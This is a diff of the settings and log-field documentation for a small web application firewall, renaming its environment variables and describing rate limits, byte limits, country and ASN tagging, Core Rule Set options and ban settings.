- `action`: what was done:
|
||||
- `forward`: answered `allow`, so that `rproxy` passes it to the app;
|
||||
- `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source
|
||||
with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`;
|
||||
- `client_denied`: refused for `SWW_DENY_NETS`, for a reputation source with
|
||||
the action `deny`, or for a tag in `SWW_TAG_DENY`;
|
||||
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
|
||||
rule, a trap path or a CrowdSec decision that made such a ban;
|
||||
- `permanently_banned`: refused under a ban that never runs out, including a
|
||||
@@ -114,23 +114,21 @@ Every one of these lines has:
|
||||
is left out when none did.
|
||||
- `heuristic_figures`: an object of the figures that heuristic acted on. Each
|
||||
heuristic and its figures:
|
||||
- `deny_nets`: `netblock`, the entry of `SWW_WAF_DENY_NETS` the client is
|
||||
in;
|
||||
- `deny_nets`: `netblock`, the entry of `SWW_DENY_NETS` the client is in;
|
||||
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
|
||||
- `countries`: `country`, and `setting`, the country list that refused it;
|
||||
- `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries;
|
||||
- `tag_deny`: `tag`, the tag of `SWW_TAG_DENY` the request carries;
|
||||
- `blocklists`: `lists`, the blocklist URLs that list the client;
|
||||
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
|
||||
decision ends;
|
||||
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
|
||||
masked;
|
||||
- `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`;
|
||||
- `abuseipdb`: `score`, and `min_score`, `SWW_ABUSEIPDB_MIN_SCORE`;
|
||||
- `rate_limits`: `window`, `count` and `limit`;
|
||||
- `trap_paths`: `path`, the trap path asked for;
|
||||
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
||||
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
|
||||
- `core_rule_set`: `score`, and `threshold`,
|
||||
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`;
|
||||
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
|
||||
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
||||
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
||||
- `after_answer_heuristic`: the heuristic that banned the client after
|
||||
@@ -151,7 +149,7 @@ Every one of these lines has:
|
||||
holds:
|
||||
- `minute`, `hour` and `day`: requests;
|
||||
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
||||
`SWW_WAF_BYTES_COUNT` names, in that window.
|
||||
`SWW_BYTES_COUNT` names, in that window.
|
||||
|
||||
A count can have a fraction (see "Counting method" in
|
||||
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
||||
@@ -161,7 +159,7 @@ Every one of these lines has:
|
||||
- `limit_hit`: the limit broken:
|
||||
- `minute`, `hour` or `day` for a rate limit;
|
||||
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
||||
- `minute_refusals` for the error burst (`SWW_WAF_ERROR_BURST_THRESHOLD`).
|
||||
- `minute_refusals` for the error burst (`SWW_ERROR_BURST_THRESHOLD`).
|
||||
|
||||
When the bytes counted for a request and its response break a limit, the
|
||||
request has been passed on whole, so its `action` stays `forward`. Only its
|
||||
@@ -179,7 +177,7 @@ Every one of these lines has:
|
||||
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
|
||||
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
|
||||
- `routewatch_tags_missing`: why the request got no tags from routewatch,
|
||||
present only while `SWW_WAF_ROUTEWATCH_URL` is set:
|
||||
present only while `SWW_ROUTEWATCH_URL` is set:
|
||||
- `no_answer_yet`: routewatch has not answered about this client yet;
|
||||
- `request_failed`: a query to routewatch failed within the last minute, and
|
||||
the process log says why;
|
||||
@@ -236,13 +234,13 @@ these meanings where they differ:
|
||||
was sooner. It includes the wait for `discriminator`.
|
||||
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
||||
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
||||
is `discriminator`'s answer, or the value of `SWW_RPROXY_DEFAULT_DISPOSITION`.
|
||||
It is left out when:
|
||||
is `discriminator`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is
|
||||
left out when:
|
||||
- `discriminator` was not asked, as for the health check;
|
||||
- the visitor went away while `discriminator` was being asked;
|
||||
- `discriminator`'s answer had no valid `X-Sww-Disposition`;
|
||||
- `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
|
||||
- `default_disposition`: `true` when `SWW_RPROXY_DEFAULT_DISPOSITION` gave
|
||||
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
|
||||
`disposition`, and otherwise left out.
|
||||
|
||||
For example:
|
||||
|
||||
+242
-248
@@ -4,9 +4,9 @@ Every setting, its default and the values it takes, in the groups of "Settings"
|
||||
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
||||
that take `off`, the `_FILE` form, and what each group does and why.
|
||||
|
||||
The settings that start with `SWW_WAF_` are `discriminator`'s. Those that start
|
||||
with `SWW_RPROXY_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND`
|
||||
chooses between the two (see "The image's command" below).
|
||||
The settings that start with `SWW_` are `discriminator`'s. Those that start with
|
||||
`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses
|
||||
between the two (see "The image's command" below).
|
||||
|
||||
## Forms of values
|
||||
|
||||
@@ -28,98 +28,97 @@ chooses between the two (see "The image's command" below).
|
||||
|
||||
## Core
|
||||
|
||||
- `SWW_WAF_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:`
|
||||
and a port, such as `:9000`. Leave the host out (see "Ports" in
|
||||
- `SWW_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:` and a
|
||||
port, such as `:9000`. Leave the host out (see "Ports" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_WAF_INSTANCE_NAME` (default: the container's host name): the `instance`
|
||||
name in each line `discriminator` logs, and in each alert and metric, such as
|
||||
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
|
||||
in each line `discriminator` logs, and in each alert and metric, such as
|
||||
`fsn1/discriminator`. Valid UTF-8. No control character while
|
||||
`SWW_WAF_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
|
||||
space while `SWW_WAF_LOG_REMOTE_URL` is set and `SWW_WAF_LOG_REMOTE_APP_NAME`
|
||||
is not.
|
||||
- `SWW_WAF_MODE` (default `enforce`): `enforce` or `observe`.
|
||||
- `SWW_WAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
|
||||
client's group, from 32 to 128.
|
||||
- `SWW_WAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a
|
||||
whole number above zero.
|
||||
- `SWW_WAF_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
|
||||
`SWW_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
|
||||
space while `SWW_LOG_REMOTE_URL` is set and `SWW_LOG_REMOTE_APP_NAME` is not.
|
||||
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
|
||||
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
|
||||
group, from 32 to 128.
|
||||
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
|
||||
number above zero.
|
||||
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
|
||||
keeps, a whole number above zero.
|
||||
|
||||
## Tokens
|
||||
|
||||
- `SWW_WAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
|
||||
- `SWW_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
|
||||
`/_sww/clients/<ip>`. At least 32 characters.
|
||||
- `SWW_WAF_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At
|
||||
least 32 characters.
|
||||
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
|
||||
32 characters.
|
||||
|
||||
## State files
|
||||
|
||||
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
|
||||
files, an absolute path that exists and can be written.
|
||||
- `SWW_WAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
||||
absolute path that exists and can be written.
|
||||
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||
written after a ban is made, lifted or made permanent. A duration.
|
||||
- `SWW_WAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file
|
||||
is written. A duration.
|
||||
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
|
||||
written. A duration.
|
||||
|
||||
## Logging
|
||||
|
||||
- `SWW_WAF_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s
|
||||
own messages that are written: `debug`, `info`, `warn` or `error`.
|
||||
- `SWW_WAF_LOG_REQUEST_HEADERS` (default
|
||||
- `SWW_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s own
|
||||
messages that are written: `debug`, `info`, `warn` or `error`.
|
||||
- `SWW_LOG_REQUEST_HEADERS` (default
|
||||
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
||||
request headers recorded in the log line, in either case. `Host` and
|
||||
`Transfer-Encoding` are refused; the host is the field `host`.
|
||||
- `SWW_WAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
|
||||
- `SWW_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
|
||||
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
|
||||
each with a host and a port and nothing more.
|
||||
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
|
||||
that a `syslog+tls` server's certificate must chain to, instead of the host's
|
||||
own. A file that cannot be read, or holds no certificate, is refused.
|
||||
- `SWW_WAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
|
||||
wait to be sent, a whole number above zero.
|
||||
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
||||
- `SWW_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that
|
||||
a `syslog+tls` server's certificate must chain to, instead of the host's own.
|
||||
A file that cannot be read, or holds no certificate, is refused.
|
||||
- `SWW_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they wait
|
||||
to be sent, a whole number above zero.
|
||||
- `SWW_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
||||
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
||||
`authpriv`, `ftp`, or `local0` to `local7`.
|
||||
- `SWW_WAF_LOG_REMOTE_APP_NAME` (default: `SWW_WAF_INSTANCE_NAME`): the app name
|
||||
in each syslog record, 1 to 48 printable ASCII characters without a space.
|
||||
- `SWW_LOG_REMOTE_APP_NAME` (default: `SWW_INSTANCE_NAME`): the app name in each
|
||||
syslog record, 1 to 48 printable ASCII characters without a space.
|
||||
|
||||
## Metrics
|
||||
|
||||
- `SWW_WAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
|
||||
countries get series of their own. A whole number above zero.
|
||||
- `SWW_METRICS_TOP_N` (default `50`): how many AS numbers and how many countries
|
||||
get series of their own. A whole number above zero.
|
||||
|
||||
## Static lists
|
||||
|
||||
- `SWW_WAF_ALLOW_NETS` (default empty): netblocks you trust, such as your
|
||||
monitoring (see step 4 in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
|
||||
- `SWW_ALLOW_NETS` (default empty): netblocks you trust, such as your monitoring
|
||||
(see step 4 in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
|
||||
exempt from rate limiting and the byte limits.
|
||||
- `SWW_WAF_DENY_NETS` (default empty): netblocks whose clients are refused (see
|
||||
step 4 in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_DENY_NETS` (default empty): netblocks whose clients are refused (see step
|
||||
4 in [`SPEC.md`](../SPEC.md)).
|
||||
|
||||
## Request rate limits, per client
|
||||
|
||||
The request past one of these limits is refused, and the client is banned.
|
||||
|
||||
- `SWW_WAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests
|
||||
a client may make in a minute. A count or `off`. The default leaves room for a
|
||||
- `SWW_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
|
||||
client may make in a minute. A count or `off`. The default leaves room for a
|
||||
person opening two pages at once with an empty cache, up to 60 files each.
|
||||
- `SWW_WAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
|
||||
- `SWW_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
|
||||
make in an hour. A count or `off`. It is the main limit against scrapers. A
|
||||
person reading a site for an hour, a page every 20 seconds, makes about 900. A
|
||||
scraper making one request every 2 seconds makes 1,800 an hour, more than the
|
||||
limit.
|
||||
- `SWW_WAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may
|
||||
make in a day. A count or `off`. The default is four hours at the hour limit.
|
||||
A scraper making one request every 10 seconds makes 8,640 a day, more than the
|
||||
- `SWW_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make
|
||||
in a day. A count or `off`. The default is four hours at the hour limit. A
|
||||
scraper making one request every 10 seconds makes 8,640 a day, more than the
|
||||
limit.
|
||||
- A CI runner asks its code forge for work all day and can pass the limits. Put
|
||||
the runners' addresses in `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
|
||||
the runners' addresses in `SWW_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
|
||||
network where many people share one address, such as an office.
|
||||
- Counting cannot catch a client that stays under all three limits (see "Request
|
||||
rate limits, per client" in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from
|
||||
rate limiting and the byte limits, such as `/assets/`.
|
||||
- `SWW_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate
|
||||
limiting and the byte limits, such as `/assets/`.
|
||||
|
||||
## Byte limits, per client
|
||||
|
||||
@@ -129,240 +128,236 @@ counted for a request and its response are added to the client's total once the
|
||||
response has ended. The request that takes a client's total past a limit is not
|
||||
cut off; the client is banned.
|
||||
|
||||
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
|
||||
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
|
||||
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
|
||||
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes
|
||||
count: response bodies, request bodies or both. The request that passes the
|
||||
limit is not cut off, and the client is banned when its response ends.
|
||||
- `SWW_WAF_BYTES_COUNT` (default `both`): what the byte limits and the byte
|
||||
anomaly thresholds count: `response`, the app's response bodies; `request`,
|
||||
the visitors' request bodies; or `both`. What the visitor sent over a
|
||||
WebSocket counts as request bytes, and what the app sent as response bytes.
|
||||
- `SWW_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_BYTES_LIMIT_PER_HOUR`
|
||||
(default `50G`) and `SWW_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes
|
||||
counted for a client in each window, a size or `off`. `SWW_BYTES_COUNT` says
|
||||
which bytes count: response bodies, request bodies or both. The request that
|
||||
passes the limit is not cut off, and the client is banned when its response
|
||||
ends.
|
||||
- `SWW_BYTES_COUNT` (default `both`): what the byte limits and the byte anomaly
|
||||
thresholds count: `response`, the app's response bodies; `request`, the
|
||||
visitors' request bodies; or `both`. What the visitor sent over a WebSocket
|
||||
counts as request bytes, and what the app sent as response bytes.
|
||||
|
||||
## Lookup of AS number and country
|
||||
|
||||
- `SWW_WAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off`
|
||||
stops the start while a setting that needs a lookup is set:
|
||||
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES`;
|
||||
- `SWW_WAF_ADD_LOOKUP_HEADERS`;
|
||||
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
|
||||
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
|
||||
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
|
||||
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` below `100`;
|
||||
- `SWW_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
|
||||
the start while a setting that needs a lookup is set:
|
||||
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES`;
|
||||
- `SWW_ADD_LOOKUP_HEADERS`;
|
||||
- `SWW_TAG_DENY` or `SWW_TAG_LIMIT_PERCENT` naming a `country=` tag, or an
|
||||
`asn=` tag while `SWW_ROUTEWATCH_URL` is unset;
|
||||
- the two byte percentage lists and `SWW_ASN_LIMIT_PERCENT_URL`;
|
||||
- `SWW_UNKNOWN_LIMIT_PERCENT` below `100`;
|
||||
- an anomaly threshold per AS number.
|
||||
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
|
||||
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
|
||||
- `SWW_WAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
|
||||
- `SWW_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
|
||||
`.mmdb` form, for `SWW_LOOKUP_SOURCE=file`.
|
||||
- `SWW_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
|
||||
client's first answer from GeoJS, and how long a request to GeoJS may take. A
|
||||
duration; never `off`.
|
||||
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
|
||||
app the client's AS number in `X-Client-ASN` and its country in
|
||||
- `SWW_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
|
||||
the client's AS number in `X-Client-ASN` and its country in
|
||||
`X-Client-Country`.
|
||||
|
||||
## Country list
|
||||
|
||||
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
|
||||
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
|
||||
countries whose clients get through, such as `us,de`. A country whose
|
||||
`country=` tag is in `SWW_WAF_TAG_DENY` stops the start.
|
||||
`country=` tag is in `SWW_TAG_DENY` stops the start.
|
||||
|
||||
## Request tags
|
||||
|
||||
Every request gets tags from what `discriminator` knows of its client. See
|
||||
"Request tags" in [`SPEC.md`](../SPEC.md).
|
||||
|
||||
- `SWW_WAF_TAG_LISTS` (default empty): address lists that each add a tag, as
|
||||
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
|
||||
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
||||
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
|
||||
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
|
||||
So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS`,
|
||||
`SWW_WAF_ASN_LIMIT_PERCENT_URL`, or the CrowdSec decision list.
|
||||
- `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as
|
||||
So is a URL that is also in `SWW_BLOCKLIST_URLS`, `SWW_ASN_LIMIT_PERCENT_URL`,
|
||||
or the CrowdSec decision list.
|
||||
- `SWW_TAG_DENY` (default empty): tags whose requests are refused, such as
|
||||
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
|
||||
`country=` tag without a country, is refused.
|
||||
- `SWW_WAF_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's
|
||||
limits, as tag and percentage pairs, such as `vpn:50,asn=14061:25`. A
|
||||
percentage is from `1` to `99`, of every rate limit and byte limit. The lowest
|
||||
percentage among a client's tags applies. A tag listed twice is refused. So is
|
||||
- `SWW_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's limits, as
|
||||
tag and percentage pairs, such as `vpn:50,asn=14061:25`. A percentage is from
|
||||
`1` to `99`, of every rate limit and byte limit. The lowest percentage among a
|
||||
client's tags applies. A tag listed twice is refused. So is
|
||||
`exploitsignature`: a request gets that tag after the rate limits have counted
|
||||
it.
|
||||
|
||||
- `SWW_WAF_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
||||
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
||||
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
||||
service that gives an address's announced netblock and origin AS.
|
||||
`discriminator` asks it about each client, in the background, and adds the
|
||||
tags `asn=<number>` and `prefix=<netblock>` from its answer. While it is
|
||||
unset, nothing asks routewatch and no request gets a `prefix=` tag.
|
||||
|
||||
`SWW_WAF_TAG_DENY` and `SWW_WAF_TAG_LIMIT_PERCENT` accept tags in either case. A
|
||||
tag that no request can get stops the start. A request can get only these:
|
||||
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
|
||||
that no request can get stops the start. A request can get only these:
|
||||
|
||||
- a name in `SWW_WAF_TAG_LISTS`;
|
||||
- a name in `SWW_TAG_LISTS`;
|
||||
- an `asn=` or `country=` tag;
|
||||
- a `prefix=` tag with a netblock, while `SWW_WAF_ROUTEWATCH_URL` is set. It
|
||||
matches only that exact announced netblock, such as `prefix=192.0.2.0/24`;
|
||||
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
|
||||
- a `prefix=` tag with a netblock, while `SWW_ROUTEWATCH_URL` is set. It matches
|
||||
only that exact announced netblock, such as `prefix=192.0.2.0/24`;
|
||||
- a `dnsbl=` tag of a zone in `SWW_DNSBL_ZONES`, in lower case, with a key
|
||||
masked as the `reputation` field shows it;
|
||||
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
|
||||
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while `SWW_WAF_RULES_ENABLED`
|
||||
is `true`, or while neither `SWW_WAF_CORE_RULE_SET_MODE` nor
|
||||
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` is `off`.
|
||||
- `abuseipdb`, while `SWW_ABUSEIPDB_KEY` is set;
|
||||
- `exploitsignature`, in `SWW_TAG_DENY` only, while `SWW_RULES_ENABLED` is
|
||||
`true`, or while neither `SWW_WAF_MODE` nor `SWW_WAF_ANOMALY_THRESHOLD` is
|
||||
`off`.
|
||||
|
||||
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
|
||||
the request first.
|
||||
|
||||
## Biased thresholds
|
||||
|
||||
- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` (default
|
||||
empty): a percentage of the byte limits alone, for the AS numbers or countries
|
||||
listed, such as `AS14061:50` or `cn:25`. It takes the place of the percentage
|
||||
`SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number
|
||||
or country listed twice is refused.
|
||||
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client
|
||||
the lookup cannot place.
|
||||
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
|
||||
a text file with one AS number and percentage on each line, such as
|
||||
`AS64496:50`. Each entry counts like an `asn=` tag in
|
||||
`SWW_WAF_TAG_LIMIT_PERCENT`. A URL that is also in `SWW_WAF_BLOCKLIST_URLS` is
|
||||
refused.
|
||||
- `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` (default empty): a
|
||||
percentage of the byte limits alone, for the AS numbers or countries listed,
|
||||
such as `AS14061:50` or `cn:25`. It takes the place of the percentage
|
||||
`SWW_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number or
|
||||
country listed twice is refused.
|
||||
- `SWW_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
|
||||
lookup cannot place.
|
||||
- `SWW_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
|
||||
text file with one AS number and percentage on each line, such as
|
||||
`AS64496:50`. Each entry counts like an `asn=` tag in `SWW_TAG_LIMIT_PERCENT`.
|
||||
A URL that is also in `SWW_BLOCKLIST_URLS` is refused.
|
||||
|
||||
## Attack detection
|
||||
|
||||
- `SWW_WAF_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule
|
||||
files.
|
||||
- `SWW_WAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
|
||||
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
||||
- `SWW_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files.
|
||||
- `SWW_RULES_ENABLED` (default `true`): `false` reads no rule file.
|
||||
- `SWW_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
||||
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
||||
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
|
||||
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
|
||||
paranoia level, from 1 to 4.
|
||||
- `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` (default `5`): the score at which a
|
||||
request is a match. A whole number above zero, or `off`.
|
||||
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
|
||||
- `SWW_WAF_MODE` (default `block`): `off`, `detect` or `block`.
|
||||
- `SWW_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
|
||||
from 1 to 4.
|
||||
- `SWW_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
|
||||
match. A whole number above zero, or `off`.
|
||||
- `SWW_WAF_DISABLED_RULES` (default
|
||||
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
||||
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
|
||||
refused: those are the rules that set the Core Rule Set up, and
|
||||
`smallwebwaf`'s own.
|
||||
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
|
||||
Rule Set does not inspect.
|
||||
- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` (default `off`): `off`, or how much of a
|
||||
request body the Core Rule Set reads, a size of at most `64K`. A question
|
||||
carries no more of a body than 64 KiB, and the Core Rule Set reads at most 64
|
||||
KiB less one byte of it, whatever the value (see "The answer" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
|
||||
Set exclusions, written as Coraza directives. It is loaded before the Core
|
||||
Rule Set's rules, so it holds only `SecAction` and `SecRule` lines that
|
||||
exclude with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that
|
||||
cannot be read or does not parse stops the start, whatever
|
||||
`SWW_WAF_CORE_RULE_SET_MODE` is. So does a file that names a number from
|
||||
900000 to 900999 outside a comment, alone or in a range. So does a directive
|
||||
that removes or changes rules as the file loads, such as `SecRuleRemoveById`,
|
||||
since none of the Core Rule Set's rules is loaded yet. It has no `_FILE` form.
|
||||
- `SWW_WAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may
|
||||
get in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||
- `SWW_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
|
||||
not inspect.
|
||||
- `SWW_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body the
|
||||
Core Rule Set reads, a size of at most `64K`. A question carries no more of a
|
||||
body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one byte of
|
||||
it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set
|
||||
exclusions, written as Coraza directives. It is loaded before the Core Rule
|
||||
Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude
|
||||
with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be
|
||||
read or does not parse stops the start, whatever `SWW_WAF_MODE` is. So does a
|
||||
file that names a number from 900000 to 900999 outside a comment, alone or in
|
||||
a range. So does a directive that removes or changes rules as the file loads,
|
||||
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
||||
yet. It has no `_FILE` form.
|
||||
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
||||
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||
|
||||
## Ban lengths, response and scope
|
||||
|
||||
- `SWW_WAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
|
||||
- `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit.
|
||||
A duration.
|
||||
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||
- `SWW_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
|
||||
- `SWW_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
|
||||
duration.
|
||||
- `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||
